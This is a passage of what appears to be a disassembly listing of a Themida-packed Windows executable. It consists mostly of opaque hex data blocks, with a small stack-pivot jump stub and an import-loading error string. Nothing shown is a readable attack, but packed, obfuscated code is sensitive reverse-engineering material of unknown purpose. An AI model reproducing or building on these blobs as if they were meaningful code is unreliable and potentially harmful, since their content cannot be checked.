		dd 0D33AD54Fh, 11854975h, 204FC6B3h, 70467448h,	0B29A706Eh
		dd 0C797A89Eh, 7CA58C4Fh, 75A6AAB2h, 0C7498F90h, 0DED5DF68h
		dd 8B560FB0h, 0EDF268ABh, 965B3A0Eh, 0FBh, 78558630h, 4A3C102Ch
		dd 0EA4FC6B3h, 0FB7FEB47h, 304FC6B2h, 869C4E21h, 0C4A089D5h
		dd 0B3E2D498h, 0AF524FC6h, 0D084EB63h, 0BEA8C4A0h, 0A84FC6B3h
		dd 0B3C6B894h, 1664FC6h, 9C879EEAh, 4A6D3B6Fh, 3AF04AC2h
		dd 995069D7h, 0A36FD24Dh, 99E5FD9Ah, 8284D89Fh,	0BEAA83CFh
		dd 0B2ABC19Dh, 0E773BF66h, 0C7447BE3h, 0DD66C94Fh, 0DFCF9BBFh
		dd 824FC744h, 86A981CDh, 6BB7ABACh, 0CF84B5F1h,	0D09CC883h
		dd 4FC744DEh, 0C05AB34Eh, 8FADE379h, 0F6E8FABh,	54A90DE8h
		dd 0B1DBCBA9h, 66564FC7h, 5545649Ah, 0F842DD45h, 0C7B0E67Ch
		dd 4821464Fh, 3AD31F32h, 854975D3h, 4FC7B111h, 0B11D915Dh
		dd 0F00F4FC7h, 281E321Ah, 0C4FC7B1h, 885BFC25h,	2F4DF23Ch
		dd 0B14F3F0Bh, 42DD4FC7h, 0F1067CF8h, 364C4FC7h, 0E01044DFh
		dd 70D26884h, 321A4FC7h, 0C771281Eh, 0FC250C4Fh, 0D1C154h
		dd 5B7D0000h, 5975D3E9h, 498EBB4Ah, 95C27DA4h, 9CC870BCh
		dd 0D98FA5BBh, 56AF928Dh, 6CB8AACDh, 5BB74EB3h,	0D2877FD4h
		dd 0CB9FBD86h, 560EBCDBh, 0B64FB659h, 0BCD4C68Ah, 0FF68560Eh
		dd 0B8739AE6h, 0A4B5AB8Ch, 0EBCD6C8h, 52BB5656h, 0CEA670D9h
		dd 0B6815713h, 6177607Ch, 7C57F915h, 0A91F30Ch,	0C44EC68Fh
		dd 0FB827384h, 812FBFFh, 0A8644956h, 5D3A4Eh, 86D40000h
		dd 0F32C7855h, 262D040Eh, 0E804CF8h, 1E4FC6B3h,	42174803h
		dd 60F73EF6h, 103A1632h, 564FC6B3h, 0D01C6A65h,	0BDA1CEDCh
		dd 6ABF88A1h, 487CF2FEh, 51B04FC7h, 83BC63C5h, 0C78871E9h
		dd 0A495E14Fh, 81D763AFh, 82B0A742h, 96BBBDE6h,	7A937AB9h
		dd 82A8C4A0h, 0CA4FC772h, 8193ED67h, 75221D69h,	5027115Dh
		dd 606CD8F0h, 498E9213h, 0DF7DC669h, 3A7A3CBEh,	0FA14BF14h
		dd 0F46F872h, 6D516F56h, 0F46ED61h, 56E03F56h, 384BC104h
		dd 4B5B39A5h, 33h, 0D1E95BE3h, 6224C026h, 9DCB627Fh, 8F727AD1h
		dd 0D24DB449h, 0FB2C0BAh, 7ECAA156h, 75C192C5h,	2DE87EAAh
		dd 14EFE782h, 3A15019Eh, 0F0825Bh, 861C0000h, 0D7307C55h
		dd 45E839EAh, 6CE9456Fh, 7E212A76h, 75221D69h, 6E16115Dh
		dd 0F04A964Dh, 112F7B6Fh, 972D212Dh, 1A344FC7h,	59D738CEh
		dd 0AC595710h, 0F266B059h, 0C75CECC6h, 115D754Fh, 24E0233h
		dd 53842038h, 0CF52E7Ah, 5EE9352Bh, 3C2E2F0Bh, 2C0D37F0h
		dd 0E44BE733h, 4C203C54h, 498F5537h, 551062Fh, 0DA348052h
		dd 86FE948h, 28442038h,	4FD4A4C5h, 9F115CC5h, 861D860Fh
		dd 65B1FDD5h, 0D7005CC3h, 6BDBEF00h, 0C94FC8E8h, 78B17A64h
		dd 3FE648E6h, 2E297AE6h, 2B572CD1h, 0C293BB57h,	4D71C10Dh
		dd 4CCCBCC4h, 1D13223h,	0EAFA0000h, 0E8E5B69Eh,	0EDE3B49Ch
		dd 0F0E6B7A1h, 0F4EBACA4h, 29B1B0A8h, 0F55FABA4h, 0F761ADA4h
		dd 0EF69B5A6h, 0C870BCAEh, 0D2C488D4h, 6256159Dh, 66813F83h
		dd 6981221Ah, 43163F1Dh, 39D52CF7h, 0E95B2B15h,	825975D3h
		dd 0EC498E9Eh, 0F872FA45h, 69560EDEh, 7629226Eh, 7E0A1561h
		dd 2742ED28h, 415ED42Fh, 425B3941h, 0C7h, 1D6981DCh, 8A667A22h
		dd 4FC6B314h, 401DF918h, 443A1627h, 0E84FC6B3h,	4D67E049h
		dd 4FC6B675h, 0B2AAF6ECh, 9006CAF6h, 0A44FC6B7h, 0AEA4B17Dh
		dd 0AD76C298h, 9F72AD54h, 5D9879Dh, 0C6B775E9h,	0A5FB44Fh
		dd 6187615Dh, 90CC66C9h, 8F7EA7BCh, 0B2AA8549h,	56379CBh
		dd 0D4EB65E9h, 0DC88A74Fh, 39883BC3h, 71BDE7BDh, 0CB17D0E9h
		dd 0CB17D091h, 0BC884D6Bh, 3E1F48CCh, 0EBh, 3CF44014h
		dd 3EF6421Bh, 3DF7431Dh, 3EF6421Ch, 3EF6421Dh, 5D72F7DFh
		dd 63762711h, 677C1D17h, 6A80211Bh, 7EA2361Eh, 159DFC72h
		dd 89953056h, 221A6681h, 2C785586h, 475D75E2h, 5FFD4692h
		dd 0C6B31B8Bh, 0FF6194Fh, 81043EF6h, 75221D69h,	5027115Dh
		dd 606CD8F0h, 49886DE9h, 102FF817h, 75260E5Ah, 6E16115Dh
		dd 0B070D15h, 828C5A8Ch, 339080EAh, 9AE60111h, 62AEB691h
		dd 573757ACh, 0A29DE9E4h, 0E9946FC7h, 0A212F147h, 0BDA8BF81h
		dd 4FED6FEDh, 33960B7Bh, 2C062993h, 7DEB372Bh, 96198D61h
		dd 0F41B9333h, 6D65361Ah, 5D792621h, 45A1611h, 6F6851C1h
		dd 0F5412823h, 855C7268h, 0F21BEE39h, 0F0666A56h, 44933395h
		dd 5CFD51DDh, 2A767086h, 10D54803h, 69000000h, 20965A86h
		dd 144FC6B3h, 4A964AEDh, 812551F0h, 73241F6Bh, 6718135Fh
		dd 801F2874h, 75221D69h, 62150E5Ah, 7926216Dh, 6916115Dh
		dd 7728236Fh, 7419125Eh, 81E28952h, 4C2h, 4EA8300h, 5C241487h
		dd 68242C89h, 70A3h, 56241C89h,	0C681E689h, 4, 4EE81h
		dd 34870000h, 14895C24h, 8EB95124h, 51064EDFh, 0FC240481h
		dd 5B7D7D07h, 7FCEB81h,	54597D7Dh, 8124148Bh, 4C4h, 8B95100h
		dd 1000000h, 8B1989D1h,	0C483240Ch, 2434FF04h, 4C4835Ah
		dd 5B2434FFh, 0E904C483h, 0FFF9906Bh, 0EC7DB813h, 0C503064Eh
		dd 2760E0FFh, 0AAF37509h, 566460C9h, 10F54B05h,	649C58BBh
		dd 0A02D2200h, 0D7773176h, 0C5FB157Bh, 3A706794h, 0E9603DFDh
		dd 0B0E9435Bh, 98CC6DE6h, 6F724753h, 54A07AAh, 0C710090Ah
		dd 0B626DB8h, 736C417Ch, 0BA474E3Ch, 0DB755E13h, 4EB7E4Ch
		dd 325A467Fh, 518E9h, 0F13D2F00h, 0F33F1647h, 0F4401849h
		dd 0F7431B3Ch, 0F7431C3Dh, 73F8DE3Dh, 7728105Ch, 7D1E1662h
		dd 81221A66h, 9F331D69h, 9FFF6F7Bh, 962D5615h, 1D69818Ch
		dd 37C1DE3Fh, 4AAB4ABFh, 2F2857F0h, 322879E3h, 283A5DE6h
		dd 253963DCh, 0C75B5549h, 0DE38D74Fh, 0B5166481h, 0A6F2EB63h
		dd 0CFEBCF7Dh, 0C51BED36h, 75C1990Eh, 7DC99ABBh, 85D182D3h
		dd 0A1EDFED7h, 0DA8FB095h, 0EDE2958Eh, 0DFF9A6A1h, 0F1E79893h
		dd 0D72E84A5h, 0AF66FC2Ch, 73DD293Ah, 5BE43022h, 0C71A5A51h
		dd 4D88AE4Fh, 0F17CCCD7h, 8CB754h, 146D0000h, 0E5F3CDF5h
		dd 5A4C20F0h, 0DA4FC715h, 0FA44CE37h, 221D6981h, 0C6B3128Ah
		dd 7BEF44Fh, 0F1160E91h, 67554h, 0E270000h, 39030F5Bh
		dd 20965A86h, 4E4FC6B3h, 0C6B30C82h, 2901204Fh,	322B2C06h
		dd 0DE3F5DE6h, 5389158Bh, 299C51D3h, 0E90C839Ch, 7855020Ch
		dd 8A44F32Ch, 0F40D5974h, 9550C2Bh, 51B2E93Eh, 17AD17B0h
		dd 62DD2924h, 0A954AF07h, 5DD23187h, 60FC3480h,	0A156177h
		dd 2AC4CC37h, 0DE7FDEC2h, 34F0354h, 6681EF59h, 776E111Ah
		dd 351202Bh, 4717499Ah,	0D13A553Ah, 0CA81B283h,	0EA70CA73h
		dd 55A1B62Bh, 5CA8BADBh, 509CB4E3h, 4D88AED7h, 0F1F2BCD7h
		dd 3DBFC54h
		dd 79956CB7h, 68ACh, 0C33F6000h, 6D39C1C1h, 8167DD39h
		dd 0D52E1A66h, 6F64EF2Eh, 0E6412823h, 6FCBA3CBh, 63AFA9D6h
		dd 0D33288E8h, 133D895Eh, 23418D42h, 45D11D32h,	3B875F00h
		dd 0A65D55F0h, 0F1C28330h, 7E0054h, 81960000h, 6E111A66h
		dd 49F6317Dh, 5CFB4490h, 0F9EF3884h, 0F35500C3h, 90DC8EA7h
		dd 0F268B297h, 0B3C99E13h, 82BA539Fh, 8F1D86C8h, 341A8D78h
		dd 4B9750h, 29360029h, 3D67E02Ch, 2FF8441Ch, 0BF1D31DAh
		dd 0E525E51Bh, 0E02A2149h, 22394FC6h, 3E09550Ch, 560942EBh
		dd 47F8337Fh, 24FD4692h, 0EC976E44h, 8D03C2F0h,	54F142F2h
		dd 46FB5DC6h, 0CC5496F9h, 0AA7FC814h, 176B783h,	10000000h
		dd 6A865A86h, 4FC6B2F4h, 0B7BD938h, 294FC6B3h, 352B2C06h
		dd 29415EE9h, 1E3562DDh, 2F2659D2h, 1D6980E3h, 15F04622h
		dd 0C27DC9A0h, 0F086C65Fh, 0B2C8A015h, 71D8539Fh, 67D9A098h
		dd 3C7F351h, 4FC6B393h,	509CB4A1h, 0E9055DB9h, 498EBE32h
		dd 0F28A957Ch, 89C20EC9h, 11C996A0h, 0C3A0C5C3h, 0C75E625Eh
		dd 0CA16CC8Dh, 0A381F381h, 9FF5560Fh, 0AFFBEF64h, 0B2FED485h
		dd 0C814C679h, 795CB27Fh, 5A024E04h, 3A057B08h,	12C085Bh
		dd 5B9E0000h, 45009E9h,	213FE63Bh, 8EB9124Dh, 62DD4449h
		dd 73D11D35h, 0D379D50Ah, 89A578A5h, 72BE94C5h,	9CE8E5D6h
		dd 0D88AAD92h, 6AB6938Ch, 2F72F419h, 0F932B1Bh,	0FD260956h
		dd 7B978097h, 0D189FED5h, 6E8FCB85h, 6691AB93h,	8ACC66C8h
		dd 5B399FF5h, 568Eh, 55B2800h, 934871CFh, 9A719C45h, 0BD64E964h
		dd 0ACD5E971h, 0D4902492h, 9550A3Ch, 0F842EB3Eh, 0C6C8DA7Ch
		dd 0EC37DA4Fh, 0EE606C50h, 3E4FC6C8h, 0F56985E3h, 374FC6C8h
		dd 40363ED8h, 0D24FC6C9h, 8ACE69ACh, 748DD990h,	0C96204C8h
		dd 0AF524FC6h, 809285h,	5B300000h, 4975D3E9h, 0B2E55975h
		dd 0E8474FC6h, 0C66FC83Fh, 2A043104h, 8EDB4542h, 50083149h
		dd 17F82A04h, 0E01DD21Fh, 0FE49E021h, 303B8961h, 1A182EF2h
		dd 6253F118h, 3F17236Fh, 47004C1Eh, 0EEB742Dh, 3392E856h
		dd 0F860ACBEh, 0BBA9BF81h, 0D09984AFh, 1755BA4Fh, 0F7AD15FCh
		dd 0E72E4E8h, 5FC24FCDh, 0D8015FC6h, 956CB703h,	0BF93C479h
		dd 0E278B873h, 0A0B88823h, 0BB7BA8C4h, 4EB1498Eh, 0E95B9CE6h
		dd 0AA5975D3h, 449885Fh, 0D9307C53h, 0EB39314Eh, 0B4EC80EEh
		dd 0E34DB427h, 0BB8FA0B2h, 5614DECBh, 6A5DC669h, 0EB076888h
		dd 19421E07h, 2419F541h, 206E5E88h, 2F085482h, 960EB37h
		dd 73E82B2Dh, 7D29135Fh, 0F03B875Ch, 8A60FD19h,	7C52053Eh
		dd 2339F730h, 29776BE0h, 0AA9C6B9Eh, 0D983AA2Dh, 66B2AC8Dh
		dd 8BD78BCCh, 0A0B3A4C0h, 35BBA54h, 0F7000000h,	6B811763h
		dd 5F73241Fh, 74671813h, 69801F28h, 5A75221Dh, 6D62150Eh
		dd 5D792621h, 6F691611h, 5E772823h, 50741912h, 405E089h
		dd 83000000h, 48704E8h,	34895C24h, 0E7895724h, 4C781h
		dd 0EF830000h, 243C8704h, 2434895Ch, 81E28952h,	4C2h, 4EA8300h
		dd 5C241487h, 81241489h, 4ECh, 242C8900h, 4EED52BDh, 5DEE8906h
		dd 8904EC83h, 4832424h,	835A0424h, 348904ECh, 8428F24h
		dd 5124148Bh, 0C181E189h, 4, 8704C183h,	8B5C240Ch
		db 34h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_544ACB
; ---------------------------------------------------------------------------
		db 0FAh
		dd 565E08B1h, 0DA368CFh, 61FA69F8h, 0F1D4B809h,	0C503064Eh
		dd 0E042E0FFh, 5BA4BFAh, 13340765h, 75204BACh, 3BA23F9Dh
		dd 9B444A54h, 0F3762A0Ah, 4A915800h, 347815D0h,	0AAB636Bh
		dd 6A302942h, 0E0293F0Ch, 5E4A7B47h, 32E55BCEh,	0A46C18C5h
		dd 0AD502BE2h
		db 46h,	1Eh
word_5AC022	dw 8D8Dh		; DATA XREF: Themida_:0053EC44o
		dd 64EF3C4h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	0DFC35040h, 0F222B716h,	0AED9D29h, 8D890648h, 6480A19h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 4EC35646h
		dd 880F7E82h, 6, 1ED58589h, 85C70648h, 6480F35h, 64F8h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 7CC35141h
		dd 77032C06h, 0A65BD8Bh, 9D290648h, 6482809h, 242585C7h
		dd 648h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h,	44810424h
		dd 1B0424h, 55450000h, 0A95D15C3h, 62259A8Eh, 5E8AFh, 60250000h
		dd 0F36E314h, 582h, 4A50BB00h, 0FF5F3FBDh, 4828C9B5h, 31BD8B06h
		dd 0FF06480Dh, 4820BD95h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 9529CD92h
		dd 64823B5h, 95FF006Ah
		db 61h,	30h, 48h
byte_5AC133	db 6			; DATA XREF: Themida_:0053EAFCo
					; Themida_:0053EE60o
		dd 5FEBC08Bh, 3F492312h, 0AC68B2EDh, 148EBBECh,	0DF54A361h
		dd 1441EB00h, 0B00EFDD2h, 14447824h, 4640CC97h,	16528537h
		dd 8B310E8Ch, 94FD70AEh, 0DCC686F8h, 0EF3D063Fh, 8EB6121Dh
		dd 0BB4F2E9h, 5C10C412h, 0C7F99717h, 50600126h,	0E3A63B03h
		dd 0F81CCB48h, 707840FEh, 80FB67C7h, 9226C6h, 0E99712E4h
		dd 127h, 73765B50h, 154EEFACh, 0
aAnErrorHasOcur	db 'An Error has ocurred while loading imports',0
		db 37h
		dd 0EB77E7ACh, 4977E75Ch, 1F77E73Ch, 77F7E2h, 77F7E3h
		dd 777E600h, 5 dup(0)
		dd 0FD000000h, 77E7A5h,	2Bh dup(0)
		dd 2000000h, 48000000h,	0F4C706E1h, 0CF63921Dh,	0CB8F96A6h
		dd 11345D46h, 35B11C13h, 427A3907h, 722B6166h, 0A9F29E35h
		dd 88321177h, 6C9390EFh, 0BFBF132Eh, 1778A54Ah,	0D069C699h
		dd 6853A8E5h, 5632132Eh, 0A9614571h, 88321177h,	6C9390EFh
		dd 0BFBF132Eh, 1778B87Dh, 0D069C699h, 0F9B1D5EDh, 247CE11Ah
		dd 1B61A66h, 5321566h, 0AE35DE3h, 0AFE2EA60h, 5FE36DE3h
		dd 4EE2EA60h, 0C1578E3h, 705A4360h, 0EEAEBDDEh,	0C01380D3h
		dd 5AB79860h, 0DD345EE5h, 0A0B79CB6h, 5345D48h,	0AC759E3h
		dd 0A7BF4560h, 177CE14Bh, 0FDA7EA36h, 83345D4Bh, 6A1868E3h
		dd 11321560h, 0E5B7D366h, 1345D41h, 505B7C0Eh, 3087EAE8h
		dd 5345D4Ah, 0C0A6DE3h,	0ABE2EA60h, 593050E3h, 0E5B7D360h
		dd 7345D41h, 45594B0Eh,	3087EAFAh, 5345D4Ah, 0C0A6DE3h
		dd 0ABE2EA60h, 5FC671E3h, 0E5B7D360h, 10345D41h, 405A3C0Eh
		dd 3087EA88h, 5345D4Ah,	0C0A6DE3h, 0ABE2EA60h, 5FC67DE3h
		dd 0E5B7D360h, 1345D41h, 420AD70Eh, 3087EABCh, 5345D4Ah
		dd 0C0A6DE3h, 0ABE2EA60h, 5FC679E3h, 0C18F9660h, 44345D7Fh
		dd 22779069h, 94F41566h, 8E7A320Bh, 3AB47D23h, 97CDEF46h
		dd 177A3947h, 0B04A90EBh, 94CD132Eh, 0D64290EFh, 94F41328h
		dd 8E7A320Bh, 94F17D2Ah, 97CDF540h, 177A3947h, 0B04A90EBh
		dd 94CD132Eh, 0D64690EFh, 51DB1328h, 4E321566h,	0C1578E3h
		dd 2F5A4760h, 0EE8E5F82h, 0C02F3CD3h, 3CB79860h, 0DD345D5Eh
		dd 61B79CB6h, 4E345B92h, 0C1578E3h, 6A5A4760h, 0EE94592Ch
		dd 0C02F3CD3h, 3CB79860h, 0DD345D5Eh, 65B79CB6h, 4E345B92h
		dd 0C1578E3h, 0C85A4760h, 0EECF57D2h, 0C01E34D3h, 3CB79860h
		dd 0DD345D5Eh, 90B79CB6h, 4E345D4Ah, 0C1578E3h,	815A6260h
		dd 0EEC182CEh, 0C01248D3h, 3CB79860h, 0DD345D5Eh, 8CB79CB6h
		dd 4E345D41h, 0C1578E3h, 355A4760h, 0EEB8C857h,	0C01E34D3h
		dd 3CB79860h, 0DD345D5Eh, 0A8B79CB6h, 4E345D6Bh, 0C1578E3h
		dd 1B5A4360h, 0EEE60A0Bh, 0C01380D3h, 5AB79860h, 0DD345EE5h
		dd 30B79CB6h, 4E345D73h, 0C1578E3h, 585A5260h, 0EEB3C976h
		dd 0C01E34D3h, 3CB79860h, 0DD345D5Eh, 0A0B79CB6h, 4E345D7Dh
		dd 0C1578E3h, 0C05A5260h, 0EEB81AD3h, 0C01E34D3h, 3CB79860h
		dd 0DD345D5Eh, 85B79CB6h, 0B345B92h, 0C2878DBh,	0A63D1560h
		dd 11321337h, 0AF5F90A0h, 2C7E132Eh, 0FBE8098Fh, 3D13A099h
		dd 0DBF132Eh, 427A2D1Eh, 0A7BBC599h, 177CE1E6h,	0AF5F90A0h
		dd 2C7E132Eh, 0FF46CBA8h, 3D13A099h, 0DBF132Eh,	427A2D1Eh
		dd 0A7BBC599h, 177CE1E2h, 0AF5F90A0h, 2C7E132Eh, 95B39759h
		dd 3D13A099h, 0DBF132Eh, 427A2D1Eh, 0A7BBC599h,	177CE1EEh
		dd 0AF5F90A0h, 2C7E132Eh, 911D557Eh, 3D13A099h,	0DBF132Eh
		dd 427A2D1Eh, 0A7BBC599h, 177CE1EEh, 0AF5F90A0h, 2C74132Eh
		dd 98EC1372h, 3D13A099h, 0DBF132Eh, 427A2D1Eh, 0A7BBC599h
		dd 177CE1F6h, 0AF5F90A0h, 2C75132Eh, 0A3EE051Ch, 3D13A099h
		dd 0DBF132Eh, 427A2D1Eh, 0A7BBC599h, 177CE1FEh,	0AF5F90A0h
		dd 2C75132Eh, 0CDB59BCAh, 3D13A099h, 0DBF132Eh,	427A2D1Eh
		dd 0A7BBC599h, 177CE1FAh, 0AF5F90A0h, 2C75132Eh, 0F6A8B2B4h
		dd 3D13A099h, 0DBF132Eh, 427A2D1Eh, 0A7BBC599h,	177CE1C6h
		dd 0AF5F90A0h, 2C75132Eh, 98F32C62h, 3D13A099h,	0DBF132Eh
		dd 427A2D1Eh, 0A7BBC599h, 177CE1C2h, 8087A8E5h,	3132132Eh
		dd 4FB7D346h, 56345D41h, 0FA1F720Eh, 6587EA86h,	0AF345D4Ah
		dd 590A6DE3h, 1E2EA60h,	0AC6BDE3h, 4FB7D360h, 56345D41h
		dd 0A181A40Eh, 6587EAE8h, 0AF345D4Ah, 590A6DE3h, 1E2EA60h
		dd 0AC6B9E3h, 4FB7D360h, 52345D41h, 0FE78B20Eh,	6587EAA6h
		dd 0AF345D4Ah, 590A6DE3h, 1E2EA60h, 0AC6A5E3h, 4FB7D360h
		dd 5D345D41h, 0EE5EFE0Eh, 1987EA9Dh, 0AF345D46h, 590A6DE3h
		dd 1E2EA60h, 0AC751E3h,	4FB7D360h, 55345D41h, 0FBBC400Eh
		dd 6587EADDh, 0AF345D4Ah, 590A6DE3h, 1E2EA60h, 0AC6A1E3h
		dd 4FB7D360h, 52345D41h, 65CE90Eh, 6587EADAh, 0AF345D4Ah
		dd 590A6DE3h, 1E2EA60h,	0AC6ADE3h, 4FB7D360h, 42345D41h
		dd 980CBF0Eh, 6587EAA0h, 0AF345D4Ah, 590A6DE3h,	1E2EA60h
		dd 0AC6A9E3h, 4B8F9660h, 11345D6Bh, 88D29169h, 0C1F41566h
		dd 247A320Bh, 0DF037D20h, 3DCDEFF0h, 427A3947h,	1A4A90EBh
		dd 0C1CD132Eh, 7D2A90EFh, 0C1F41328h, 247A320Bh, 2BE47D20h
		dd 3DCDE9C1h, 427A3947h, 1A4A90EBh, 0C1CD132Eh,	7D1A90EFh
		dd 0C1F41328h, 247A320Bh, 0B5327D20h, 3DCD879Ah, 427A3947h
		dd 1A4A90EBh, 0C1CD132Eh, 7D1E90EFh, 0C1F41328h, 247A320Bh
		dd 5E587D20h, 3DCDE3B2h, 427A3947h, 1A4A90EBh, 0C1CD132Eh
		dd 7D0290EFh, 0C1F41328h, 247A320Bh, 41D57D20h,	3DCD81ABh
		dd 427A3947h, 1A4A90EBh, 0C1CD132Eh, 7D2E90EFh,	0C1F41328h
		dd 247A320Bh, 65097D20h, 3DCDA444h, 427A3947h, 1A4A90EBh
		dd 0C1CD132Eh, 7D1290EFh, 0C1F41328h, 247A320Bh, 0FBDF7D20h
		dd 3DCDCA1Fh, 427A3947h, 1A4A90EBh, 0C1CD132Eh,	7D1690EFh
		dd 0F9B11328h, 247A1DD3h, 0D7126066h, 0C01578E3h, 1A5A4660h
		dd 0DDFCAB86h, 591E34D3h, 0F0B79860h, 0BB345D5Eh, 0E2B79CB6h
		dd 0D7345B92h, 0C01578E3h, 0C35A5260h, 0DDF5A438h, 591E34D3h
		dd 0F0B79860h, 0BB345D5Eh, 0E6B79CB6h, 92345B92h, 0C03AA0DBh
		dd 64471560h, 55F90A0h,	7975132Eh, 6E506B63h, 6813A099h
		dd 0A7BF132Eh, 177A2D1Eh, 0DBBC599h, 427CE1AEh,	55F90A0h
		dd 7971132Eh, 1A481C90h, 6813A099h, 0A7BF132Eh,	177A2D1Eh
		dd 0DBBC599h, 427CE1AAh, 55F90A0h, 7971132Eh, 74138246h
		dd 6813A099h, 0A7BF132Eh, 177A2D1Eh, 0DBBC599h,	427CE1B6h
		dd 2A87A8E5h, 6432132Eh, 0E5B7D326h, 7345D41h, 229A160Eh
		dd 3087EAEDh, 5345D4Ah,	0C0A6DE3h, 0ABE2EA60h, 5FC6CDE3h
		dd 0E5B7D360h, 7345D41h, 7904C00Eh, 3087EA83h, 5345D4Ah
		dd 0C0A6DE3h, 0ABE2EA60h, 5FC6C1E3h, 0E5B7D360h, 7345D41h
		dd 8800F40Eh, 3087EA8Ch, 5345D4Ah, 0C0A6DE3h, 0ABE2EA60h
		dd 5FC6C9E3h, 0E5B7D360h, 7345D41h, 0D39E220Eh,	3087EAE2h
		dd 5345D4Ah, 0C0A6DE3h,	0ABE2EA60h, 5FC6F5E3h, 0E5B7D360h
		dd 0B345D41h, 17A2C10Eh, 3087EAF1h, 5345D4Ah, 0C0A6DE3h
		dd 0ABE2EA60h, 5FC6F1E3h, 0E5B7D360h, 0B345D41h, 4C3C170Eh
		dd 3087EA9Fh, 5345D4Ah,	0C0A6DE3h, 0ABE2EA60h, 5FC6FDE3h
		dd 0E5B7D360h, 9345D41h, 154B5C0Eh, 3087EAAEh, 5345D4Ah
		dd 0C0A6DE3h, 0ABE2EA60h, 5FC6E5E3h, 0E5B7D360h, 9345D41h
		dd 0D57F9C0Eh, 3087EABAh, 5345D4Ah, 0C0A6DE3h, 0ABE2EA60h
		dd 5FC6F9E3h, 0E5B7D360h, 11345D41h, 391F220Eh,	3087EAFAh
		dd 5345D4Ah, 0C0A6DE3h,	0ABE2EA60h, 5FC6E1E3h, 0E5B7D360h
		dd 7345D41h, 0F7C23F0Eh, 3087EAB4h, 5345D4Ah, 0C0A6DE3h
		dd 0ABE2EA60h, 5FC6EDE3h, 0E5B7D360h, 16345D41h, 6086FF0Eh
		dd 3087EA9Bh, 5345D4Ah,	0C0A6DE3h, 0ABE2EA60h, 591E94E3h
		dd 0E5B7D360h, 3345D41h, 0BA6B8C0Eh, 3087EA84h,	5345D4Ah
		dd 0C0A6DE3h, 0ABE2EA60h, 5FC6E9E3h, 0E5B7D360h, 3345D41h
		dd 0DF52D70Eh, 3087EAD7h, 5345D4Ah, 0C0A6DE3h, 0ABE2EA60h
		dd 5FC715E3h, 0E5B7D360h, 3345D41h, 84CC010Eh, 3087EAB9h
		dd 5345D4Ah, 0C0A6DE3h
		dd 0ABE2EA60h, 5FC711E3h, 0E5B7D360h, 1B345D41h, 72C07D0Eh
		dd 3087EAF8h, 5345D4Ah,	0C0A6DE3h, 0ABE2EA60h, 5FC71DE3h
		dd 0E5B7D360h, 0B345D41h, 0DE492A0Eh, 3087EAA1h, 5345D4Ah
		dd 0C0A6DE3h, 0ABE2EA60h, 5FC721E3h, 0E5B7D360h, 3345D41h
		dd 795C590Eh, 3087EA9Ch, 5345D4Ah, 0C0A6DE3h, 0ABE2EA60h
		dd 5FC72DE3h, 0E5B7D360h, 3345D41h, 2416D80Eh, 3087EAA5h
		dd 5345D4Ah, 0C0A6DE3h,	0ABE2EA60h, 5FC729E3h, 0E5B7D360h
		dd 1B345D41h, 9952D90Eh, 3087EAB2h, 5345D4Ah, 0C0A6DE3h
		dd 0ABE2EA60h, 5FC719E3h, 0E5B7D360h, 1B345D41h, 0CB665B0Eh
		dd 3087EAF8h, 5345D4Ah,	0C0A6DE3h, 0ABE2EA60h, 5FC705E3h
		dd 0E5B7D360h, 1B345D41h, 311A5D0Eh, 3087EAB7h,	5345D4Ah
		dd 0C0A6DE3h, 0ABE2EA60h, 5FC701E3h, 0E0367F60h, 44320566h
		dd 2222150Eh, 0EE327F66h, 0C01CA4F3h, 49B79C60h, 0AF345D46h
		dd 5FF106E3h, 0E2E2EA60h, 54327D62h, 225A1566h,	7B321546h
		dd 39A7EA66h, 0CD345D48h, 6A02B0E3h, 0B8B79C60h, 0E2345D4Bh
		dd 54327D26h, 225A1566h, 7B321466h, 39A7EA66h, 0CD345D48h
		dd 6A2CA0E3h, 70879E60h, 3345D41h, 0C2754FBh, 8B879C60h
		dd 98345D46h, 0C029D8FBh, 5AF9E60h, 0A9345D73h,	11CB966Dh
		dd 82ED9169h, 15621566h, 0ABF22606h, 5916D8E3h,	880EAB60h
		dd 30311566h, 8F543542h, 31165165h, 8B4A65EDh, 0CF123112h
		dd 9FBB0D18h, 177A3D7Fh, 0D3DEAE3h, 4432156Ch, 22231B8Eh
		dd 11A3FC66h, 3631566h,	40E07EB1h, 0FB780EFh, 1558132Eh
		dd 8822150Eh, 44584766h, 0C838099h, 94BB132Eh, 8E7A3437h
		dd 0AC6BC5EDh, 223205B9h, 5531B830h, 3A53142h, 840042B9h
		dd 0DBB71AC8h, 4FCDEA99h, 360EE4Dh, 498F9EB1h, 0A1345D46h
		dd 0D101EAAFh, 490013ECh, 0C3369E20h, 113AFCA7h, 943D5FAEh
		dd 77CDEA8Ch, 94C5D4EDh, 0A1309C3Ch, 0EE6011A4h, 0C016D8E3h
		dd 89A79E60h, 1B345D42h, 591A0CF3h, 82B61A60h, 1E321566h
		dd 26F49638h, 0EECD8E8Fh, 0E96C4F99h, 0C1F54D3Fh, 247A3FF7h
		dd 11321566h, 91B790A1h, 4432132Eh, 9FB11566h, 177CE11Ah
		dd 80B61A66h, 0C9321566h, 6C711BFBh, 0EEE1EA60h, 0C03B18E3h
		dd 498F9660h, 46345D6Fh, 11509769h, 0DF51566h, 427A1C6Bh
		dd 22321567h, 45879806h, 5345B93h, 0B23AADBh, 0A9CC3E60h
		dd 1C8F9EB1h, 0B345D46h, 8401EAAFh, 0E30013ECh,	96369E20h
		dd 0BB3AFCA7h, 0C13D5FAEh, 0DDCDEA8Ch, 0C1C5D4EDh, 0A1E3905Fh
		dd 0C03D132Eh, 22321571h, 1A2BA8E5h, 8732132Eh,	44321FE3h
		dd 5FB7D266h, 10345D4Ch, 0E9321566h, 1FC928DFh,	0CC0CAF27h
		dd 989F0E2Ah, 0C012BCD3h, 0B874D260h, 22321566h, 0FFDCFB5Bh
		dd 0A8B71A88h, 0C5321566h, 0FFEFC858h, 5B71ABBh, 4F321566h
		dd 44321560h, 26F49666h, 319BA0EFh, 71DB132Eh, 0CF32156Eh
		dd 5FB726BEh, 0D0345D4Ch, 4A1916AEh, 7722D5A7h,	5FAF9CA7h
